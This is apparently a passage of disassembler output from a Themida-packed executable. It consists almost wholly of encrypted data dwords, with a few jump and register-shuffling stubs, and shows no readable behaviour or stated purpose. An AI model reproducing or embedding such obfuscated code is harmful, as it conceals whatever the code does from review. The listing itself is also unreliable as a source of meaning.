0E864CF68h, 8B8F55E9h, 0A3DAEC73h, 4542C5Fh, 0B72527C2h dd 0AA284D0Eh, 0DF676F74h, 0E902E35Eh, 0F81C6055h, 294BB3Ah dd 98B455E9h, 7C8E191Dh, 2BA8916h, 0A73955E9h, 0B4BAD299h dd 0CDF115BAh, 1C17CBDh, 8DCA55E9h, 98B4CB66h, 4678171Dh dd 0A1B8D357h, 752AE8A3h, 10A2A353h, 682BAF3h, 6FCEFEE2h dd 55E911D0h, 83C22908h, 0DCCFF181h, 428ACh, 0E92Ah, 65674000h dd 47460536h, 0F41893B1h, 69611C2Bh, 0F88727EDh, 78B9D1CCh dd 53F092C9h, 9CACDFE1h, 84B7C524h, 78355229h, 4F4EC440h dd 49DAF193h, 0ABD9A013h, 7D7CD8F0h, 55E931CEh, 0ECA0DDEEh dd 0FA5EAA68h, 13475A35h, 20F26A69h, 6D9h, 54D8D3F3h, 3FC3BACBh dd 24E8A5A0h, 12168DBBh, 0F73B7695h, 0D3F24074h, 0C0CD5ADEh dd 0AAA641C5h, 8ABC2BEFh, 1F620F13h, 0E93AA39Eh, 29932055h dd 6366567h, 0E7404A79h, 53F09254h, 0C3476BEFh, 0A96D2824h dd 8D910C3Eh, 8EBEF312h, 0AFDFD2F1h, 94B3DA79h, 58F43875h dd 85948C92h, 0E2Ch, 1D2A3100h, 26EC6860h, 6D2A3Ch, 67400000h dd 0A7063665h, 53F06298h, 4B7A9140h, 21BE4239h, 0E1526A25h dd 535689Ah, 2D686681h, 8254F6E7h, 0D5053F0h, 0F0ABA7E6h dd 6B67E62Ch, 4B471830h, 26273850h, 7384777h, 85326696h dd 0A5D2A46Eh, 98133F4Eh, 6BCDD594h, 255653F0h, 3C792B26h dd 53F09A0Dh, 6E9E8286h, 9B4028EAh, 25859490h, 0FFFFFEDEh dd 3392AF3h, 8B400000h, 0A3DBD2F4h, 0C3EED27h, 0E6E37A91h dd 0D85965AFh, 53F09275h, 41793455h, 6696133Eh, 141E7522h dd 1D2C430Ch, 0C49BB0EBh, 5ABECEC7h, 7D8F18D8h, 90BFFE0Eh dd 0B053F092h, 77EF1F8Eh, 9BE9E296h, 0A07AF651h, 8BB7940h dd 0DA58F3AFh, 202C3349h, 108DBA65h, 9D62E602h, 69129ECCh dd 9A6634A4h, 0B4000005h, 8A151994h, 67000479h, 72ED316Ch dd 4AD55954h, 39C2463Bh, 0EDA0AF17h, 1491BE29h, 7B9710h dd 2A6163FCh, 0F7308BE6h, 55E93B44h, 6770B4DFh, 0B5842165h dd 6553F092h, 0F3572B66h, 344CBFCFh, 1D1DA38Eh, 9C64C31h dd 0E48387FAh, 0E441BCE2h, 53F0F555h, 0D0636AEEh, 0F853F0F5h dd 9EE2D6C7h, 1A29B67Ah, 0BCF95467h, 53F0F58Dh, 0B4F00206h dd 0E9E19CABh, 4A79903Fh, 16C2463Bh, 8594EFC8h, 24ED6h dd 6580C200h, 894EEF1Fh, 352879Dh, 7FADADC4h, 1F848387h dd 237h, 8658095h, 2C5C4F71h, 9292A1A8h, 3A1153F0h, 0F0924EFDh dd 5D41C553h, 0C8970239h, 414CC6B7h, 53F092F2h, 0BCFD0D71h dd 52879DF7h, 7EBF2A11h, 0AD1E6DC3h, 0B8008DE2h, 2195394Ch dd 0E108D75Dh, 41E5364Eh, 6DAAB4D0h, 0FA15DBA7h, 0E4A18482h dd 0F000001h, 0EC1F6580h, 0E3316C9Dh, 92D067C0h, 5D2C53F0h dd 0C044742Fh, 3A523632h, 879D32FBh, 39749652h, 504D7E01h dd 6A862E38h, 9F7CCCADh, 0C6056CABh, 0B8A5C9C4h, 64FB365Dh dd 0B81C2C69h, 0DD48967Ah, 9C568482h, 42000001h, 0EC1F6580h dd 0F092E843h, 0F4070B53h, 922D1C99h, 0A2A653F0h, 1CD55450h dd 0BE52879Dh, 0F43A385Fh, 42848387h, 66960D3Bh, 91B5E819h dd 169E083h, 8BCC0000h, 5AD8D5F4h, 0F3088385h, 5310F665h dd 0CE44DF95h, 0D1FE8DFEh, 0D220A4D4h, 8C900B3Dh, 546715F4h dd 7BB9F415h, 9523EF48h, 40C449DCh dd 9556E948h, 75B455E5h, 95AE9D1Ah, 212555E5h, 4AE50CD3h dd 979D1833h, 0A99025CBh, 4EB18Bh, 8B7F0000h, 92AC9F18h dd 232753F0h, 780CDDD1h, 920B3C43h, 0AB141E7Ah, 0DC6C1C0Ah dd 3C4B1249h, 47CD4941h, 0E724AD23h, 8395103Ch, 0AFD3EA84h dd 0A62F1E9Fh, 20F55E4h, 0DAEC738Bh, 0CD3ABA3h, 0C5005DE5h dd 0C07EACAEh, 8E188BA8h, 94000000h, 6366567h, 0A0AC4A79h dd 0B6C9C1E5h, 9EE11994h, 0ACED316Ch, 53F097C2h, 4BCFBEC0h dd 0ADDEAA3Bh, 0DFF27C00h, 5E6AF549h, 0D3F7A6D8h, 95C49CAFh dd 4F06B4B3h, 9BE2DD57h, 72ED316Ch, 12D95E53h, 0EA691635h dd 347A072h, 41410000h, 2C5DCA4Eh, 1732AD71h, 0FB09969Ah dd 0E4E37C80h, 0F2E665A9h, 0C4484544h, 0B3772E5Bh, 999D1834h dd 7D81FC0Eh, 3D0CA910h, 0B655E93Eh, 68679B1Dh, 0AAB0635h dd 53F0923Fh, 9642D0B4h, 8084F709h, 0D3F48BB2h, 3B1B44DAh dd 58229B4Eh, 880305DAh, 2DA1E573h, 0AA157D8Ah, 1035C68h dd 7BC7868Ah, 0CB53F06Eh, 0EE1E97B4h, 138EBD6Ah, 285CAD01h dd 403D4C13h, 0C6B4F1B2h, 5F49DC6Ah, 67FD37FBh, 0C4BFCD65h dd 1F2C50B4h, 0C94B4240h, 2D6062FDh, 3C4899E9h, 63ECAE0Fh dd 0FA0549DCh, 0A4BBD3CEh, 7BDFEFA6h, 9A1B3357h, 55E483A3h dd 0BC6F8641h, 0D4E49FADh, 10DEA270h, 0AE8BA89Ah, 32h dd 1B61800Ah, 6CD747E0h, 242849DCh, 9CAA9514h, 514855E4h dd 895FF0Ah, 55E49C39h, 60B2D6BAh, 0B866749Bh, 0C68BA89Ah dd 0C0h, 0BAF3146Bh, 0F48BF678h, 8655DFD6h, 6EF10984h dd 5B29225Fh, 4658C1F3h, 0A9151F7Fh, 102B4D6h, 3F76938Ch dd 6A9CE31Bh, 0AD1833h, 53F0BA31h, 8C44CEB2h, 0F0BF21CDh dd 2C5F6153h, 0BDCC93E8h, 0C64CC8C0h, 7484F709h, 504D7807h dd 6D1BEAC2h, 5A1DD15Eh, 89D649DCh, 191D017Ch, 0DFEC9869h dd 0CB98545Eh, 92A9AD4Fh, 3DC1BCCBh, 29EEA3A2h, 6301F06Ch dd 0DE869404h, 0E8000001h, 0C661A5D8h, 0DB44C8C5h, 0B631F5B0h dd 8E191D98h, 7DFE027Fh, 0A1DCEB5Bh, 0C8C5C25Dh, 0F4AFDB44h dd 0E695B730h, 0ABF47722h, 55E93F98h, 6734F81Bh, 84FBC768h dd 0ECF43B58h, 0A9DB44C8h, 8482D9F2h, 854F0B09h, 0A30C6180h dd 53F09290h, 0F00B2F13h, 0CECBC685h, 0DDD85ABEh, 49DC6C4Dh dd 0F2898286h, 18602ED1h, 41A39AC3h, 64D7D75Dh, 0DC59FDECh dd 26ECE93Bh, 0E49288B7h, 84EB6A55h, 0A88CA876h, 0BC368Bh dd 67E20000h, 95063665h, 34FEBBD6h, 5356867h, 0F097CAA4h dd 0C7B6C853h, 97384843h, 85000B6Eh, 0DF1F1175h, 5F0C06B8h dd 0F8A852Dh, 47779BFFh, 417A0EDFh, 62E59ED6h, 7950D8C0h dd 0CE703ABBh, 95F949DCh, 6410F191h, 29ADD657h, 30464FCBh dd 0D737650h, 8FBAFB98h, 45FDB73h, 0C3F81C00h, 0FB108DBCh dd 10286564h, 2DBA7EB4h, 0CC66981Eh, 0BEA2C6BFh, 109C679h dd 0DCEE5E63h, 0D9h, 54D8D3F3h, 3FC3BACBh, 24E8A5A0h, 12168DBBh dd 0F73B7695h, 0D3F24074h, 0C0CD5ADEh, 0AAA641C5h, 8ABC2BEFh dd 1F620F13h, 0E93CA39Eh, 29932055h, 0F1356867h, 22595476h dd 0A072295Bh, 656722F0h, 3FAA0536h, 0F09243FEh, 7D7CC053h dd 53F092CEh, 2426C145h, 3FF55169h, 0C8CEF08Fh, 0F092DC6Fh dd 0CFF35753h, 5CB3A4BCh, 5EED0916h, 15B1802Dh, 4E3253F0h dd 0E07F0CC4h, 389CACE1h, 5523C2FAh, 97B4CB26h, 0C199141Eh dd 7249DA76h, 5F61FE0Eh, 0DDC1BCD7h, 0C1BCCE59h, 4F7968C9h dd 516AAA59h, 0D38AB9E6h, 5097C3Dh, 0FA09600Fh, 3A51D5C8h dd 0D3D36ECFh, 0EC507C3Dh, 24576926h, 463D4B14h, 0B62D136h dd 4FD3CAFCh, 0CFFFAED0h, 8FDh, 0F48B7B00h, 6E5AD8D5h dd 34676744h, 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h dd 0FBB6D5AAh, 178EBCC3h, 306D98E7h, 57464718h, 89561F27h dd 4C681E6h, 83000000h, 348704EEh, 2C895C24h, 212E6824h dd 34890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h dd 52240489h, 4016BE56h, 0CE8140A8h, 7ED3744Dh, 385DEE81h dd 0F289008Ch, 8E2C15Eh, 4494F281h, 0D2F774B1h, 7A83E281h dd 0D2F7329Eh, 0DB6DC281h, 0D689262Bh, 48B545Ah, 4C48124h dd 68000000h, 2831h, 0B9240C89h, 8, 3189C101h, 24048B59h dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 5624348Bh, 0C681E689h dd 4, 8704C683h, 0E95C2434h, 0FFFAD0A4h, 0DDEA9F4Dh, 0D52A9569h ; --------------------------------------------------------------------------- xchg eax, esi mov bl, 0E5h loc_5D8BE3: ; CODE XREF: Themida_:005D7EB0j mov eax, 619AF92h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 2BE84F25h, 5E921199h, 92F9CF8h, 6F0D7455h, 1A64130Bh dd 3802E79Dh, 0C1F9767h, 11031F11h, 5FD261ADh, 20ECAC8Ch dd 586192CFh, 391084Eh, 4BF22A49h, 64FEC8BCh, 2D1918F5h dd 18CD7C84h, 57F8FCAh, 7E605700h, 3C3D5ECh, 71D2AFh, 3C8FFB1Dh dd 5F9F2252h, 0B16F8D8Dh, 6A0619h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 31698DC3h, 14308195h dd 19B58B06h, 8906142Eh, 142B698Dh, 0AE9F906h, 0C7000000h dd 121731A2h, 53D73278h, 5585C7F3h, 28061410h, 89000061h dd 140CFD9Dh, 3D85C706h, 61401h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 3470C350h dd 0B5FF8F66h, 614080Dh, 0FE9h, 4C015A00h, 8FA9DC78h, 77520CECh dd 0C32CC656h, 0BD995FFh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0B58958C3h, 6142D31h dd 95FF006Ah, 6142971h, 78EBC08Bh, 653A7B4Fh, 10BAE66Bh dd 2C1C3F32h, 81674D51h, 888DD0E1h, 2646A7Dh, 84EEFEDEh dd 181080D5h, 0CD7813BDh, 0A3BA6B39h, 0AB210767h, 6B377C6Bh dd 2A381B88h, 0DCF5A4FAh, 0F709B234h, 26269204h, 0BD973BF2h dd 8443A4C8h, 72CCA88h, 0C3E922Ch, 0C7DC6EE4h, 7E0EA353h dd 0E959AFC8h, 31B5AB1Bh, 0D1275C80h, 0DA38ABA0h, 48C30946h dd 4FB320ABh, 0BC7E9A31h, 704FECA0h, 9E9h, 5A6A3F00h, 3Dh dd 0E7E90000h, 98000004h, 76F13568h, 4BD45855h, 26C14540h dd 3EA96D28h, 0D8E920Fh, 316C9B2Bh, 585572EDh, 443F4BD4h dd 762527C0h, 3B64C7B2h, 55E92308h, 6744488Bh, 95063665h dd 3AF8B5D6h, 0E72B6665h, 24574678h, 0BA6C2725h, 4E6C5F49h dd 29959FFEh, 53EE4FBAh, 0D053F03Bh, 0D7E9A66Ch, 0BACB94A4h dd 96B1C8C3h, 0E9AD191Bh, 0A6D8E70Eh, 98B433F7h, 6D9FEE1Dh dd 109D0E3Eh, 53F03B21h, 78BADEA2h, 68232FB8h, 8B020F50h dd 0CE251473h, 141893BFh, 0A02798Bh, 0F03B97ABh, 1E95B353h dd 3D7091EEh, 739E890Dh, 3BB58421h, 4ACE53F0h, 42B11626h dd 4827E72Bh, 12930E21h, 53F03827h, 0B65AD8BCh, 85953668h dd 4876h, 0D84D1B00h, 0CE857140h, 676CD65Ch, 0A7063665h dd 53F0929Ah, 539FF699h, 85948C8Dh, 129h, 66678700h, 47780737h dd 2B592656h, 8075870h, 0EF1A6595h, 0DE3D9AB2h, 47988B7h dd 3C533CE0h, 7D81FC0Dh, 69ADE0E2h, 356867ABh, 3F0AAB06h dd 0B453F092h, 1D6242D0h, 0C39AB1ECh, 0EDEA3FC8h, 0A19BFADBh dd 0B098DBDh, 10A2A4BBh, 783BBF2h, 429DEBE3h, 0D35F7761h dd 0A7EB1906h, 0F028CB06h, 0A0C44853h, 0C3BAD7A8h, 8D74FCBh dd 286759E1h, 0E8382C1h, 306B9D0Ah, 514C4718h, 1279E439h dd 95452AC0h, 669485h, 67000000h, 0C1BCCE68h, 12294DC9h dd 0D6397742h, 989A8ACDh, 0E34CBF2Ch, 53F0F350h, 0F6A56FD3h dd 0EAAEDEDBh, 3D4BE60Dh, 0DBC121Fh, 7D45E54h, 16919508h dd 0FD82BAF7h, 19A4D4CFh, 0DB76B722h, 5853F0E9h, 3A513EF4h dd 95060238h, 3FFC85h, 67380000h, 7A053568h, 2138534Eh dd 1AAA6823h, 0BBCA216Eh, 0C70D118Ch, 7376667h, 0FDB8D594h dd 92844637h, 0D6B953F0h, 0EE1D6CBFh, 92C87BA4h, 0C74B53F0h dd 638951A3h, 7385948Ch, 1, 316C67B9h, 330EAF1Ah, 0B053F092h dd 0F56646CCh, 922E1D9Ah, 0A1A553F0h, 31494446h, 7E805FD5h dd 0B998FF0Fh, 9D183352h, 6C18E999h, 6290DE5Fh, 0ED5149DCh dd 0D8082DDh, 0CA6C9E09h, 930E3ABCh, 25FB5F6Fh, 0E5280583h dd 629ABEC4h, 0E47C7EC3h, 431A7155h, 22C94B42h, 138ABCCBh dd 3F6E900Fh, 5F4E700Fh, 7F2E502Fh, 650F304Fh, 0F5052964h dd 98C6B363h, 443AF3E9h, 645AE037h, 7F81C0D7h, 7EAC080Ch dd 188BA934h, 154h, 0A0ABB22Dh, 0E55E4E5h, 6AEE55E4h, 6180A6A8h dd 88ACE1E0h, 8950073h, 53F09239h, 80C1D118h, 51251AFCh dd 0A8B627EDh, 0C949DC51h, 182A3545h, 406A165h, 31F7047Bh dd 4A6EE037h, 601B2D32h, 0BECDBE68h, 60E41491h, 587FCA6Bh dd 90F455E4h, 9B96FD82h, 1A37C9C4h, 0E34C7F63h, 55E45850h dd 0F6A56FD3h, 2655D9D4h, 7C8D2527h, 698D0901h, 87020E51h dd 25EF1377h, 0A9569745h, 44278Bh, 808D0000h, 43EC1F65h dd 0D3F09290h, 5EDFEF53h, 0D3F092E3h, 31EC03CCh, 0AB660223h dd 2393062h, 0F04C96A5h, 0EB292DD3h, 314A36D3h, 0F04C25F4h dd 9FA13E53h, 0A5B3C8ECh, 52E21DC9h, 49090B80h, 8F93h dd 61801900h, 8347E01Bh, 7449DC6Ah, 96A6DDEBh, 61FE0E32h dd 401F2C5Fh, 0E54CB942h, 0CE070F65h, 3FA868AAh, 2B66650Dh dd 0FCA49710h, 5B3F55E4h, 46450437h, 0BCFDC94Bh, 55E4FD80h dd 18274E89h, 423B4CE6h, 5BAADA5Eh, 0CDFDB8D6h, 60F74BBBh dd 0E307335Eh, 0AF63CCFFh, 74FCECAh, 2E380B94h, 0D7BB5FDDh dd 2921255Dh, 41793456h, 260017C6h, 1D9AB1C7h, 45F77C51h dd 0FC828EDDh, 5CB8D0CDh, 77840038h, 0B7FC1B36h, 7EB49841h dd 3002060Ah, 0E01B6180h, 0D8D5F675h, 0C0975B5Ah, 0F5849DAh dd 15718904h, 8486D9F1h, 689A0509h, 20B68522h, 49CD55E9h dd 36571625h, 41D33747h, 0B67EF665h, 9FD09DC7h, 6D8C090Bh dd 1698357Ah, 113352B9h, 0F709969Ah, 0DDEB7484h, 0C23196A6h dd 336A9CABh, 5F4E70EFh, 31D2Fh, 8C9B0000h, 346767A6h dd 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h, 0FBB6D5AAh dd 178EBCC3h, 306D98E7h, 57464718h, 0EC831F27h, 240C8904h dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 83240C89h, 48904ECh dd 4EC8324h, 0BB241C89h, 619B1FFh, 545BD989h, 8124048Bh dd 4C4h, 0B9515200h, 0C8F28BAh, 8103E9C1h, 3211CEE9h, 0B3E98139h dd 0F738507Bh, 9FC181D1h, 89900F57h, 0C20159CAh, 8B5A0A89h dd 89572404h, 4C781E7h, 81000000h, 4C7h, 243C8700h, 2434FF5Ch dd 4C48159h, 0E9000000h, 0FFFACA00h, 0F97E21B0h, 5EB840C8h dd 30619B6h, 0ECE0FFC5h, 0D7304D1Dh, 9D3D78AAh, 5B4301C3h dd 441BB6ABh, 49033C2Eh, 1A22F6CCh, 0F741256Eh, 5F5B21B0h dd 0BF17FCE1h, 0F141F049h, 3C3F1EE7h, 12690550h, 0FF05E87Fh dd 62798CD0h, 0D14D5CB4h, 0D50F9BCEh, 0CB08EAD9h, 0CB10EF53h dd 0B1521771h, 0F71BF0Bh, 0D72E57A3h, 860C2CD1h, 0CB408ED8h dd 227ADAC0h, 3E515898h, 9C3FE961h, 2C46D5AFh, 0D16ECCA1h dd 7F0645ECh, 0DA75D873h, 0E9191F8Ch, 7, 18A3D1A8h, 0E9000000h dd 0D92h, 19B97568h, 8C07E906h, 8068FFFBh, 0E90619BAh dd 0FFFB8BFDh, 19BCA168h, 8BF3E906h, 8B68FFFBh, 0E90619BDh dd 0FFFB8BE9h, 19C08B68h, 8BDFE906h, 0EA68FFFBh, 0E90619C1h dd 0FFFB8BD5h, 19C34368h, 8BCBE906h, 72A4FFFBh, 1146863Dh dd 0B81D6B98h, 5FBECE65h, 55795C2h, 35F27DAAh, 42F12A6Ah dd 265DCE02h, 8F2475A6h, 55822171h, 0BCA2D8B9h, 0C4398138h dd 1A204150h, 39813834h, 3BB6924Ch, 0D9508799h, 306FAF79h dd 168BCB55h, 0B292CEECh, 311446AFh, 57B49AA0h, 12CC3368h dd 0F6160E0h, 801D7CCFh, 6BDEF9Dh, 91A9792Ah, 336857ABh dd 6AEB05F7h, 2C83D34Dh, 680B1C24h, 0CDBF3574h, 4800E258h dd 4E8C397Ch, 0BC106CD1h, 977BFA63h, 0D3508EBFh dd 0A1B519A1h, 54F5155Ah, 27878Dh, 992A0000h, 64D95087h dd 7D2E5C24h, 22E71F7Eh, 0A0357390h, 0F5D74F36h, 0FB397B8Fh dd 0B7F4FF57h, 618D5420h, 13Ah, 578799F4h, 232765D8h, 271E95C5h dd 0B1940749h, 0CD0C7FDFh, 81957B83h, 73ED3367h, 0F02C5CC1h dd 26B05182h, 0F96C9EEFh, 0DB548498h, 0C4222662h, 27CCA96h dd 6F7C3894h, 465A4024h, 67263368h, 6846795Fh, 2D5F0933h dd 25FB44F3h, 84C4B9F4h, 0A1726168h, 3B1FA187h, 6836060Bh dd 61B16F33h, 7AD846C2h, 8FC45825h, 35CFB5CDh, 21D33368h dd 2CBC93F7h, 0A706B3EEh, 8E5C3AB2h, 9A68E95Ch, 8A89A1EDh dd 26434A8Bh, 63305581h, 97C0FA5Eh, 0AC593F47h, 0BF293367h dd 11FA000Dh, 713573C4h, 0CEEF5087h, 7BB4D2B8h, 543CAE39h dd 0FC5A7526h, 0F20875A7h, 3B855A3Eh, 0EB3510C2h, 91776A9h dd 0C11755C8h, 0CDB5F76Eh, 0C40B157Ah, 5B63F055h, 336A1575h dd 2121530Dh, 891895C7h, 0B67569A1h, 920D4F9Dh, 55452360h dd 0AC1926ACh, 0B0B6Eh, 60BF1300h, 0CF5EB533h, 0A8054898h dd 71ACED7Bh, 0D95282C2h, 0D98647AAh, 718F2477h, 1553801Bh dd 0AC3C6BC2h, 0EC82316Eh, 3A6F556Dh, 3B333981h, 0E53666B6h dd 43E03E4Eh, 5B2B74C2h, 5574991Fh, 406DE439h, 63E7DD6Dh dd 0D98A0FACh, 7E437BDAh, 435738Fh, 0BA62F36Ah, 1242C35Ah dd 0D6C62A96h, 0C2A4DCA4h, 88397BF2h, 30EC3204h, 62C642DBh dd 8D54844Dh, 0E9CFh, 38666200h, 0AAEA82FBh, 91960C71h dd 1D336786h, 17E766BDh, 0AE9607EAh, 1F65253h, 311C93C3h dd 0FB5CAFEFh, 5F0D70A2h, 0D34DCAFBh, 7DDC227Dh, 0B0F3D20h dd 0F84546F1h, 0C4B9F624h, 659DBC84h, 3574697Ch, 45376C1Eh dd 0F02C292Ah, 1900009Dh, 85EE40E1h, 63C1313Bh, 0F504F14Ah dd 336CAC32h, 0E03A1E4Ah, 0C7091776h, 0DC19E954h, 3465B6B5h dd 36822E98h, 7390FD52h, 69DE654Bh, 0C7433D33h, 4988F759h dd 813371D4h, 0AC723A42h, 0B959CC26h, 0A00h, 0C87FB4E6h dd 0ADDA53B8h, 70A7FA5Fh, 0D70CA1F0h, 0BFD44789h, 6CACF33Ch dd 10448433h, 0B718689Fh, 63B33166h, 66E797CCh, 813B7A60h dd 0A32E0639h, 7ED0A999h, 1F22ADB4h, 8222083Eh, 8C7E3367h dd 0E13A9A84h, 0C758B864h, 0D126225Eh, 0B7EC4393h, 0A90256D6h dd 87992CA9h, 0FA2F756h, 58386A16h, 2A1390CEh, 0AEAF0452h dd 9A83207Eh, 0A8956AEEh, 818D738Bh, 7B153367h, 0B1B2ED1Fh dd 2669B7D4h, 5A7393F7h, 0D8357397h, 0F959372Eh, 83B21FB8h dd 2E58F48Eh, 0D9E10E2Fh, 397BA6F3h, 8369DD8Fh, 13397BA6h dd 48F86DBCh, 0FF30603Eh, 0A8A8DA86h, 6AC90957h, 5BBA62F3h dd 593F47C6h, 29397BA6h, 0EFABDBBFh, 0E6A6F7C7h, 16E42A3Ch dd 25985B5h, 6E0605Eh, 0DC2C5BD8h, 0C63C217Eh, 0C8F855E5h dd 2369B798h, 52E48888h, 174CE333h, 8241D836h, 0F4BA1EA1h dd 0EF44928Ch, 33F50076h, 0FFD86229h, 0CDB0EB21h, 3F17BB9Fh dd 0B7EA2FF1h, 820555D3h, 2765D851h, 3F9488F5h, 4D3577EEh dd 0F72C6AFAh, 0BF31018Eh, 7FAB75A4h, 0EA85B793h, 0B1566CE9h dd 719FE30Ah, 37668687h, 0A6ED83FAh, 20520E77h, 902CAAF4h dd 16724782h, 1F1C4F21h, 0CEB083Eh, 0C5B7A1EFh, 0F09EA60h dd 43959DD7h, 0BB1B75E8h, 3464EA66h, 0ED1F8AADh, 0E5791978h dd 0F8193088h, 0D685DCC2h, 4ECAA49Dh, 224F94AAh, 2FF1AF33h dd 89F0DFh, 5337261Dh, 4CC9Fh, 8F91BE00h, 886ED649h, 189DD69Dh dd 53EB376Ch, 2BCD94Ah, 0E9C14B06h, 6FC4120Ah, 0BCCE4AF6h dd 64858083h, 5BBCB396h, 0EB1333A6h, 3367F805h, 2BB1E39Dh dd 96D24BE6h, 0FFF992B2h, 0CFB93573h, 0CF8CF541h, 0BDEEF5BCh dd 6EA7DFBEh, 9F104F31h, 76D25181h, 0D153CAA4h, 0A2D8A5A6h dd 12436A02h, 5FC5DE8Eh, 3C68C717h, 0DC0E1EAEh, 26E25071h dd 0B9837075h, 0B4BD5BDh, 2777A994h, 73D79588h, 276DB39Ch dd 44928CF4h, 0ED76A8EFh, 3DA84BD2h, 7DF9Dh, 1C93C700h dd 0FB3299E7h, 44D93C4Ch, 2D80D12Fh, 0F52676F6h, 8DD2135Eh dd 25A3D04Bh, 0F907BCEFh, 90D00796h, 98B6ED42h, 3D9B81B9h dd 0FE73981h, 54879982h, 202060C5h, 511998C6h, 6C0E13D8h dd 0B9D74EF8h, 0A5AAD954h, 9F86197Bh, 0C80565EDh, 88000000h dd 8EDEDD8Ah, 0D832B357h, 2F307D86h, 6DE88740h, 0D000000h dd 7FDEDD8Ah, 67816647h, 0D34A2433h, 91C65DBDh, 0B9AC0353h dd 0DC1DEA58h, 96139079h, 0EEEF98B2h, 41D69CB8h, 301D4F6Ch dd 746AD10Ah, 2627D135h, 271E93C6h, 0CAE41D65h, 0B69CA2C3h dd 0CA397C6Ah, 1F49E634h, 0B4BF973Bh, 8D550DF7h, 0E9CFF714h dd 0B9397C6Ch, 11974BCFh, 1A000000h, 128D8h, 71A77900h dd 0FB62BF12h, 0BE3B1F49h, 7BDAD98Ah, 739BFE43h, 0ADEA8435h dd 209AB571h, 0F59240B5h, 0ED000006h, 8FDD0AA9h, 22A2D148h dd 0C705B2EFh, 9CEC1B96h, 29B4E33Ch, 0CE61B3ECh, 0AA054B99h dd 7DACEF7Dh, 0DB5886C6h, 6B93F2ACh, 39813E85h, 8A94191Dh dd 578EDEDDh, 0B78F63E4h, 4012FFACh, 96B987h, 8A3C0000h dd 29FF2DDh, 65AB75D0h, 0CB1153CAh, 7C2C1188h, 5CDD0414h dd 145FF7DBh, 87401357h, 73C1h, 87995400h, 2163DA55h, 7F7C2B21h dd 8850AEEFh, 7C68FA70h, 40F22B60h, 1C1181C0h, 6EC1233h dd 9A336847h, 436B43EAh, 0F92B34BFh, 0DF61F599h, 96E67A6Fh dd 79DFE90Dh, 748CF426h, 3367B18Dh, 45D63AE2h, 0D6BCA0E0h dd 0AA3367A1h, 8A922C3Ah, 3D6F0F69h, 5D658283h, 3367F177h dd 15F9590Bh, 87409F55h, 4B314976h, 573367F9h, 9109DDA5h dd 0ACFFFFFEh, 8EDEDD8Ah, 95FBBB57h, 0C4D231Ah, 82D0AC91h dd 0A5CC62Dh, 7CD238D7h, 876D95B2h, 1B336781h, 6805E969h dd 0D0874013h, 249h, 0E5366645h, 70ADEC80h, 0E4056A0Dh dd 6781F8DEh, 5D437B33h, 25336781h, 0CB4F394Bh, 9EFE0F27h dd 4696D60Dh, 47F070D5h, 3A5EB446h, 0B6977E11h, 6869AA90h dd 0EA04F633h, 6F4A536Bh, 32C83574h, 95D74EE3h, 0B3AA0557h dd 26C647F1h, 84C4B9F2h, 0BD851646h, 0D96D1584h, 803768A8h dd 0F23161BFh, 0D5488896h, 6A91E16Bh, 77EE1816h, 7B871DFFh dd 21FF5039h, 30D4BCEFh, 72ADEF1Eh, 0D85587C5h, 13EF5583h dd 0A1F10FF2h, 0FF6DD002h, 0B8CE4F4Ch, 3B882493h, 0EA46FD6Fh dd 6BDBBAB9h, 7D693E2Fh, 9CBD852Ah, 85278F7Fh, 11ECD2E8h dd 0DAB43368h, 9D03CAAAh, 67A97F65h, 27510333h, 0AE7E2323h dd 6A043573h, 5CBA62F3h, 26225EC7h, 7BB0381Eh, 9E0F4439h dd 1588C9A7h, 55E94930h, 471FF318h, 0DBBAB9EAh, 87B5FEA3h dd 7987773Bh, 0EB2D6786h, 0F074C873h, 3BD2F83h, 1A039AFDh dd 9530EA6Eh, 67B6876Dh, 3F691B33h, 851A7888h, 0F0854AB8h dd 7D8A01C1h, 0EC9C811Ch, 2EAFD6B2h, 0E13F901h, 2E6F3368h dd 680E3218h, 629C4E33h, 45DA38E6h, 9EFF212Eh, 5AF50703h dd 0B9A53F5Bh, 0A6D00652h, 978E9FA7h, 423C3573h, 968163DBh dd 0CB4F397Bh, 1D73AD73h, 69E99B82h, 5443E885h, 3E508Dh dd 8AC50000h, 5A7BDAD9h, 811F053Dh, 0F1633367h, 8FAC7191h dd 44363573h, 8F8769E1h, 0C417397Bh, 5B63F055h, 397B8F75h dd 0C70D530Dh, 9C86F154h, 870B97CAh, 2107A4AFh, 95B18D54h dd 24000000h, 82FB3866h, 0C71AAEAh, 6CA12270h, 0CE9E8731h dd 82E41390h, 3367867Dh, 4AE736F6h, 77B191D3h dd 0E15B8827h, 54C8B5B6h, 83AAAEFFh, 712A2C7Bh, 157BA535h dd 61E1A39Ah, 0A07CD98Bh, 78883F70h, 482E5418h, 54397E21h dd 8AB6AF00h, 375C8E78h, 20983011h, 0F512C035h, 0ED000003h dd 8FDD0AA9h, 22A2D148h, 0C705B2EFh, 9CEC1B96h, 29B4E33Ch dd 0CE61B3ECh, 0AA054B99h, 7DACEF7Dh, 0DB5886C6h, 6B93F2ACh dd 39814185h, 6694191Dh, 3E4EE536h, 871443E0h, 89F93866h dd 0D9548583h, 0AB882464h, 27B951Fh, 40F72C6Ah, 0F9386653h dd 0ECE53DBFh, 2B533212h, 33681545h, 0C71A35Dh, 72586E8Fh dd 0E336815h, 0EC2AF45Ch, 732C00B7h, 0DCED1570h, 6E357426h dd 0EB0889FCh, 7C05EDD3h, 85DBB539h, 3A66DF4Eh, 544265Eh dd 860A397Ch, 0B306ABB0h, 1D038D54h, 4FE367B6h, 31h, 0DAD98AE2h dd 53D5A7Bh, 3367811Fh, 7191F163h, 35738FACh, 69E14436h dd 397B8F87h, 666DC155h, 8D542149h, 3E73A646h, 0A93D0547h dd 0E6h, 0FB3866CCh, 5F457D9Ah, 23336781h, 0DCB0D1B1h dd 223A237Ch, 0EF4293F4h, 5474C876h, 7E3602DEh, 0D5AB92CCh dd 8DF92E85h, 3367CD88h, 3C6BC816h, 0BC1D6EACh, 124CFC61h dd 8D8EB92Bh, 0E9697A80h, 6F193573h, 4DDE3EEEh, 